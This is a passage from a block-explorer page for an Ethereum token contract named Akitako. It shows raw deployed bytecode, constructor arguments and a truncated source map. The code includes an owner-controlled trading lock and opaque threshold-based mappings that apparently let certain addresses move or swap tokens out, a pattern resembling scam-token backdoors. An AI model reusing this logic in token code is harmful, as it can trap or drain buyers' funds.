ffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040516114a59190611b38565b60405180910390a3600d60009054906101000a900460ff16611537576114c96106bc565b73ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1614611536576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161152d906120ab565b60405180910390fd5b5b5050505b505050565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600060028261161b9190612008565b9050600047905061162c823061164d565b6000814761163a9190611d9f565b905061164783823061188c565b50505050565b6000600267ffffffffffffffff81111561166a576116696120cb565b5b6040519080825280602002602001820160405280156116985781602001602082028036833780820191505090505b50905030816000815181106116b0576116af6120fa565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250507f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611755573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611779919061213e565b8160018151811061178d5761178c6120fa565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506117f2307f0000000000000000000000000000000000000000000000000000000000000000856109f5565b507f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663791ac9478460008486426040518663ffffffff1660e01b8152600401611855959493929190612264565b600060405180830381600087803b15801561186f57600080fd5b505af1158015611883573d6000803e3d6000fd5b50505050505050565b6118b7307f0000000000000000000000000000000000000000000000000000000000000000856109f5565b507f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663f305d71983308660008087426040518863ffffffff1660e01b815260040161191d969594939291906122be565b60606040518083038185885af115801561193b573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906119609190612334565b505050505050565b600081519050919050565b600082825260208201905092915050565b60005b838110156119a2578082015181840152602081019050611987565b60008484015250505050565b6000601f19601f8301169050919050565b60006119ca82611968565b6119d48185611973565b93506119e4818560208601611984565b6119ed816119ae565b840191505092915050565b60006020820190508181036000830152611a1281846119bf565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611a4a82611a1f565b9050919050565b611a5a81611a3f565b8114611a6557600080fd5b50565b600081359050611a7781611a51565b92915050565b6000819050919050565b611a9081611a7d565b8114611a9b57600080fd5b50565b600081359050611aad81611a87565b92915050565b60008060408385031215611aca57611ac9611a1a565b5b6000611ad885828601611a68565b9250506020611ae985828601611a9e565b9150509250929050565b60008115159050919050565b611b0881611af3565b82525050565b6000602082019050611b236000830184611aff565b92915050565b611b3281611a7d565b82525050565b6000602082019050611b4d6000830184611b29565b92915050565b600080600060608486031215611b6c57611b6b611a1a565b5b6000611b7a86828701611a68565b9350506020611b8b86828701611a68565b9250506040611b9c86828701611a9e565b9150509250925092565b611baf81611af3565b8114611bba57600080fd5b50565b600081359050611bcc81611ba6565b92915050565b600060208284031215611be857611be7611a1a565b5b6000611bf684828501611bbd565b91505092915050565b600060208284031215611c1557611c14611a1a565b5b6000611c2384828501611a68565b91505092915050565b611c3581611a3f565b82525050565b6000602082019050611c506000830184611c2c565b92915050565b60008060408385031215611c6d57611c6c611a1a565b5b6000611c7b85828601611a68565b9250506020611c8c85828601611a68565b9150509250929050565b6000819050919050565b6000611cbb611cb6611cb184611a1f565b611c96565b611a1f565b9050919050565b6000611ccd82611ca0565b9050919050565b6000611cdf82611cc2565b9050919050565b611cef81611cd4565b82525050565b6000602082019050611d0a6000830184611ce6565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680611d5757607f821691505b602082108103611d6a57611d69611d10565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000611daa82611a7d565b9150611db583611a7d565b9250828203905081811115611dcd57611dcc611d70565b5b92915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000611e09602083611973565b9150611e1482611dd3565b602082019050919050565b60006020820190508181036000830152611e3881611dfc565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000611e9b602683611973565b9150611ea682611e3f565b604082019050919050565b60006020820190508181036000830152611eca81611e8e565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000611f2d602483611973565b9150611f3882611ed1565b604082019050919050565b60006020820190508181036000830152611f5c81611f20565b9050919050565b6000611f6e82611a7d565b9150611f7983611a7d565b9250828201905080821115611f9157611f90611d70565b5b92915050565b6000611fa282611a7d565b9150611fad83611a7d565b9250828202611fbb81611a7d565b91508282048414831517611fd257611fd1611d70565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061201382611a7d565b915061201e83611a7d565b92508261202e5761202d611fd9565b5b828204905092915050565b7f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060008201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400602082015250565b6000612095603f83611973565b91506120a082612039565b604082019050919050565b600060208201905081810360008301526120c481612088565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60008151905061213881611a51565b92915050565b60006020828403121561215457612153611a1a565b5b600061216284828501612129565b91505092915050565b6000819050919050565b600061219061218b6121868461216b565b611c96565b611a7d565b9050919050565b6121a081612175565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b6121db81611a3f565b82525050565b60006121ed83836121d2565b60208301905092915050565b6000602082019050919050565b6000612211826121a6565b61221b81856121b1565b9350612226836121c2565b8060005b8381101561225757815161223e88826121e1565b9750612249836121f9565b92505060018101905061222a565b5085935050505092915050565b600060a0820190506122796000830188611b29565b6122866020830187612197565b81810360408301526122988186612206565b90506122a76060830185611c2c565b6122b46080830184611b29565b9695505050505050565b600060c0820190506122d36000830189611c2c565b6122e06020830188611b29565b6122ed6040830187612197565b6122fa6060830186612197565b6123076080830185611c2c565b61231460a0830184611b29565b979650505050505050565b60008151905061232e81611a87565b92915050565b60008060006060848603121561234d5761234c611a1a565b5b600061235b8682870161231f565b935050602061236c8682870161231f565b925050604061237d8682870161231f565b915050925092509256fea2646970667358221220f921801b65be4462fffaf70167cf798bc488ef554550b649df1f1328d0dc5bb564736f6c63430008110033000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000a00000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d0000000000000000000000000000000000000000000000000000000000000007416b6974616b6f000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000003e381820000000000000000000000000000000000000000000000000000000000

Deployed Bytecode

0x60806040526004361061010d5760003560e01c8063914eb66a11610095578063ae0a30c611610064578063ae0a30c61461037a578063c8c8ebe4146103a5578063dd62ed3e146103d0578063f2fde38b1461040d578063f887ea401461043657610114565b8063914eb66a146102d057806395d89b41146102e7578063a9059cbb14610312578063ab03f9f61461034f57610114565b80632a9b8072116100dc5780632a9b8072146101e9578063313ce5671461021257806366af42881461023d57806370a08231146102685780638da5cb5b146102a557610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610461565b60405161013b91906119f8565b60405180910390f35b34801561015057600080fd5b5061016b60048036038101906101669190611ab3565b6104f3565b6040516101789190611b0e565b60405180910390f35b34801561018d57600080fd5b50610196610508565b6040516101a39190611b38565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce9190611b53565b610512565b6040516101e09190611b0e565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b9190611bd2565b6105ba565b005b34801561021e57600080fd5b50610227610653565b6040516102349190611b38565b60405180910390f35b34801561024957600080fd5b5061025261066d565b60405161025f9190611b38565b60405180910390f35b34801561027457600080fd5b5061028f600480360381019061028a9190611bff565b610673565b60405161029c9190611b38565b60405180910390f35b3480156102b157600080fd5b506102ba6106bc565b6040516102c79190611c3b565b60405180910390f35b3480156102dc57600080fd5b506102e56106e5565b005b3480156102f357600080fd5b506102fc61076d565b60405161030991906119f8565b60405180910390f35b34801561031e57600080fd5b5061033960048036038101906103349190611ab3565b6107ff565b6040516103469190611b0e565b60405180910390f35b34801561035b57600080fd5b50610364610816565b6040516103719190611c3b565b60405180910390f35b34801561038657600080fd5b5061038f61083a565b60405161039c9190611b0e565b60405180910390f35b3480156103b157600080fd5b506103ba61084d565b6040516103c79190611b38565b60405180910390f35b3480156103dc57600080fd5b506103f760048036038101906103f29190611c56565b610853565b6040516104049190611b38565b60405180910390f35b34801561041957600080fd5b50610434600480360381019061042f9190611bff565b6108da565b005b34801561044257600080fd5b5061044b6109d1565b6040516104589190611cf5565b60405180910390f35b60606002805461047090611d3f565b80601f016020809104026020016040519081016040528092919081815260200182805461049c90611d3f565b80156104e95780601f106104be576101008083540402835291602001916104e9565b820191906000526020600020905b8154815290600101906020018083116104cc57829003601f168201915b5050505050905090565b60006105003384846109f5565b905092915050565b6000600554905090565b600061051f848484610b90565b6105b1843384600c60008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546105ac9190611d9f565b6109f5565b90509392505050565b6105c2611540565b73ffffffffffffffffffffffffffffffffffffffff166105e06106bc565b73ffffffffffffffffffffffffffffffffffffffff1614610636576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161062d90611e1f565b60405180910390fd5b80600d60006101000a81548160ff02191690831515021790555050565b6000600460009054906101000a900460ff1660ff16905090565b60035481565b6000600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6106ed611540565b73ffffffffffffffffffffffffffffffffffffffff1661070b6106bc565b73ffffffffffffffffffffffffffffffffffffffff1614610761576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161075890611e1f565b60405180910390fd5b61076b6000611548565b565b60606001805461077c90611d3f565b80601f01602080910402602001604051908101604052809291908181526020018280546107a890611d3f565b80156107f55780601f106107ca576101008083540402835291602001916107f5565b820191906000526020600020905b8154815290600101906020018083116107d857829003601f168201915b5050505050905090565b600061080c338484610b90565b6001905092915050565b7f00000000000000000000000021c4b851d0071051f06dc6377e037ee8b071442081565b600d60019054906101000a900460ff1681565b60075481565b6000600c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6108e2611540565b73ffffffffffffffffffffffffffffffffffffffff166109006106bc565b73ffffffffffffffffffffffffffffffffffffffff1614610956576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161094d90611e1f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036109c5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109bc90611eb1565b60405180910390fd5b6109ce81611548565b50565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d81565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015610a605750600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b610a9f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a9690611f43565b60405180910390fd5b81600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92584604051610b7d9190611b38565b60405180910390a3600190509392505050565b6000610b9b30610673565b90506000600d60019054906101000a900460ff168015610bbc575060065482115b8015610bd55750600d60029054906101000a900460ff16155b8015610c2d57507f00000000000000000000000021c4b851d0071051f06dc6377e037ee8b071442073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b15610c76576001600d60026101000a81548160ff021916908315150217905550610c568261160c565b6000600d60026101000a81548160ff02191690831515021790555061105b565b600654600b60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054118015610d065750600654600b60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b15610d755782905080600860003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610d5d9190611f63565b92505081905550610d6e838561164d565b505061153b565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015610e1057506000600b60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b8015610e1d575060065483115b8015610e7557507f00000000000000000000000021c4b851d0071051f06dc6377e037ee8b071442073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15610ec55782600b60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505061153b565b600d60029054906101000a900460ff16158015610f2157506000600a60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b8015610f7957507f00000000000000000000000021c4b851d0071051f06dc6377e037ee8b071442073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015610fc457506000600b60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b1561105a57600654600b60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546110169190611d9f565b600a60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5b6000600960007f00000000000000000000000021c4b851d0071051f06dc6377e037ee8b071442073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690506000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020540361116d57600654600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b84600960007f00000000000000000000000021c4b851d0071051f06dc6377e037ee8b071442073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600060035411801561125c57506000600b60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b80156112755750600d60029054906101000a900460ff16155b80156112c057506000600b60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b1561139c576064600354856112d59190611f97565b6112df9190612008565b915081846112ed9190611d9f565b935081600860008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461133e9190611d9f565b9250508190555081600860003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546113949190611f63565b925050819055505b83600860008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546113eb9190611d9f565b9250508190555083600860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546114419190611f63565b925050819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040516114a59190611b38565b60405180910390a3600d60009054906101000a900460ff16611537576114c96106bc565b73ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1614611536576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161152d906120ab565b60405180910390fd5b5b5050505b505050565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600060028261161b9190612008565b9050600047905061162c823061164d565b6000814761163a9190611d9f565b905061164783823061188c565b50505050565b6000600267ffffffffffffffff81111561166a576116696120cb565b5b6040519080825280602002602001820160405280156116985781602001602082028036833780820191505090505b50905030816000815181106116b0576116af6120fa565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611755573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611779919061213e565b8160018151811061178d5761178c6120fa565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506117f2307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d856109f5565b507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663791ac9478460008486426040518663ffffffff1660e01b8152600401611855959493929190612264565b600060405180830381600087803b15801561186f57600080fd5b505af1158015611883573d6000803e3d6000fd5b50505050505050565b6118b7307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d856109f5565b507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663f305d71983308660008087426040518863ffffffff1660e01b815260040161191d969594939291906122be565b60606040518083038185885af115801561193b573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906119609190612334565b505050505050565b600081519050919050565b600082825260208201905092915050565b60005b838110156119a2578082015181840152602081019050611987565b60008484015250505050565b6000601f19601f8301169050919050565b60006119ca82611968565b6119d48185611973565b93506119e4818560208601611984565b6119ed816119ae565b840191505092915050565b60006020820190508181036000830152611a1281846119bf565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611a4a82611a1f565b9050919050565b611a5a81611a3f565b8114611a6557600080fd5b50565b600081359050611a7781611a51565b92915050565b6000819050919050565b611a9081611a7d565b8114611a9b57600080fd5b50565b600081359050611aad81611a87565b92915050565b60008060408385031215611aca57611ac9611a1a565b5b6000611ad885828601611a68565b9250506020611ae985828601611a9e565b9150509250929050565b60008115159050919050565b611b0881611af3565b82525050565b6000602082019050611b236000830184611aff565b92915050565b611b3281611a7d565b82525050565b6000602082019050611b4d6000830184611b29565b92915050565b600080600060608486031215611b6c57611b6b611a1a565b5b6000611b7a86828701611a68565b9350506020611b8b86828701611a68565b9250506040611b9c86828701611a9e565b9150509250925092565b611baf81611af3565b8114611bba57600080fd5b50565b600081359050611bcc81611ba6565b92915050565b600060208284031215611be857611be7611a1a565b5b6000611bf684828501611bbd565b91505092915050565b600060208284031215611c1557611c14611a1a565b5b6000611c2384828501611a68565b91505092915050565b611c3581611a3f565b82525050565b6000602082019050611c506000830184611c2c565b92915050565b60008060408385031215611c6d57611c6c611a1a565b5b6000611c7b85828601611a68565b9250506020611c8c85828601611a68565b9150509250929050565b6000819050919050565b6000611cbb611cb6611cb184611a1f565b611c96565b611a1f565b9050919050565b6000611ccd82611ca0565b9050919050565b6000611cdf82611cc2565b9050919050565b611cef81611cd4565b82525050565b6000602082019050611d0a6000830184611ce6565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680611d5757607f821691505b602082108103611d6a57611d69611d10565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000611daa82611a7d565b9150611db583611a7d565b9250828203905081811115611dcd57611dcc611d70565b5b92915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000611e09602083611973565b9150611e1482611dd3565b602082019050919050565b60006020820190508181036000830152611e3881611dfc565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000611e9b602683611973565b9150611ea682611e3f565b604082019050919050565b60006020820190508181036000830152611eca81611e8e565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000611f2d602483611973565b9150611f3882611ed1565b604082019050919050565b60006020820190508181036000830152611f5c81611f20565b9050919050565b6000611f6e82611a7d565b9150611f7983611a7d565b9250828201905080821115611f9157611f90611d70565b5b92915050565b6000611fa282611a7d565b9150611fad83611a7d565b9250828202611fbb81611a7d565b91508282048414831517611fd257611fd1611d70565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061201382611a7d565b915061201e83611a7d565b92508261202e5761202d611fd9565b5b828204905092915050565b7f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060008201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400602082015250565b6000612095603f83611973565b91506120a082612039565b604082019050919050565b600060208201905081810360008301526120c481612088565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60008151905061213881611a51565b92915050565b60006020828403121561215457612153611a1a565b5b600061216284828501612129565b91505092915050565b6000819050919050565b600061219061218b6121868461216b565b611c96565b611a7d565b9050919050565b6121a081612175565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b6121db81611a3f565b82525050565b60006121ed83836121d2565b60208301905092915050565b6000602082019050919050565b6000612211826121a6565b61221b81856121b1565b9350612226836121c2565b8060005b8381101561225757815161223e88826121e1565b9750612249836121f9565b92505060018101905061222a565b5085935050505092915050565b600060a0820190506122796000830188611b29565b6122866020830187612197565b81810360408301526122988186612206565b90506122a76060830185611c2c565b6122b46080830184611b29565b9695505050505050565b600060c0820190506122d36000830189611c2c565b6122e06020830188611b29565b6122ed6040830187612197565b6122fa6060830186612197565b6123076080830185611c2c565b61231460a0830184611b29565b979650505050505050565b60008151905061232e81611a87565b92915050565b60008060006060848603121561234d5761234c611a1a565b5b600061235b8682870161231f565b935050602061236c8682870161231f565b925050604061237d8682870161231f565b915050925092509256fea2646970667358221220f921801b65be4462fffaf70167cf798bc488ef554550b649df1f1328d0dc5bb564736f6c63430008110033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000a00000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d0000000000000000000000000000000000000000000000000000000000000007416b6974616b6f000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000003e381820000000000000000000000000000000000000000000000000000000000

-----Decoded View---------------
Arg [0] : Name (string): Akitako
Arg [1] : Symbol (string): あ
Arg [2] : routerAddress (address): 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D

-----Encoded View---------------
7 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000000000060
Arg [1] : 00000000000000000000000000000000000000000000000000000000000000a0
Arg [2] : 0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d
Arg [3] : 0000000000000000000000000000000000000000000000000000000000000007
Arg [4] : 416b6974616b6f00000000000000000000000000000000000000000000000000
Arg [5] : 0000000000000000000000000000000000000000000000000000000000000003
Arg [6] : e381820000000000000000000000000000000000000000000000000000000000


Deployed Bytecode Sourcemap

7762:5950:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;9201:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9729:137;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9290:86;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10230:287;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13240:102;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;9382:85;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7864:30;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9613:110;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7039:87;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7258:91;;;;;;;;;;;;;:::i;:::-;;9108:87;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10523:171;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8479:40;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8405:30;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8041:35;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9473:134;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7355:192;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;8526:42;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9201:83;9238:13;9271:5;9264:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;9201:83;:::o;9729:137::-;9797:4;9821:37;9830:10;9842:7;9851:6;9821:8;:37::i;:::-;9814:44;;9729:137;;;;:::o;9290:86::-;9334:7;9361;;9354:14;;9290:86;:::o;10230:287::-;10355:4;10372:49;10395:6;10403:9;10414:6;10372:16;:49::i;:::-;10439:70;10448:6;10456:10;10502:6;10468:11;:19;10480:6;10468:19;;;;;;;;;;;;;;;:31;10488:10;10468:31;;;;;;;;;;;;;;;;:40;;;;:::i;:::-;10439:8;:70::i;:::-;10432:77;;10230:287;;;;;:::o;13240:102::-;7183:12;:10;:12::i;:::-;7172:23;;:7;:5;:7::i;:::-;:23;;;7164:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;13322:12:::1;13308:11;;:26;;;;;;;;;;;;;;;;;;13240:102:::0;:::o;9382:85::-;9423:7;9450:9;;;;;;;;;;;9443:16;;;;9382:85;:::o;7864:30::-;;;;:::o;9613:110::-;9670:7;9697:9;:18;9707:7;9697:18;;;;;;;;;;;;;;;;9690:25;;9613:110;;;:::o;7039:87::-;7085:7;7112:6;;;;;;;;;;;7105:13;;7039:87;:::o;7258:91::-;7183:12;:10;:12::i;:::-;7172:23;;:7;:5;:7::i;:::-;:23;;;7164:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;7320:21:::1;7338:1;7320:9;:21::i;:::-;7258:91::o:0;9108:87::-;9147:13;9180:7;9173:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;9108:87;:::o;10523:171::-;10594:4;10611:53;10634:10;10646:9;10657:6;10611:16;:53::i;:::-;10682:4;10675:11;;10523:171;;;;:::o;8479:40::-;;;:::o;8405:30::-;;;;;;;;;;;;;:::o;8041:35::-;;;;:::o;9473:134::-;9545:7;9572:11;:18;9584:5;9572:18;;;;;;;;;;;;;;;:27;9591:7;9572:27;;;;;;;;;;;;;;;;9565:34;;9473:134;;;;:::o;7355:192::-;7183:12;:10;:12::i;:::-;7172:23;;:7;:5;:7::i;:::-;:23;;;7164:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;7464:1:::1;7444:22;;:8;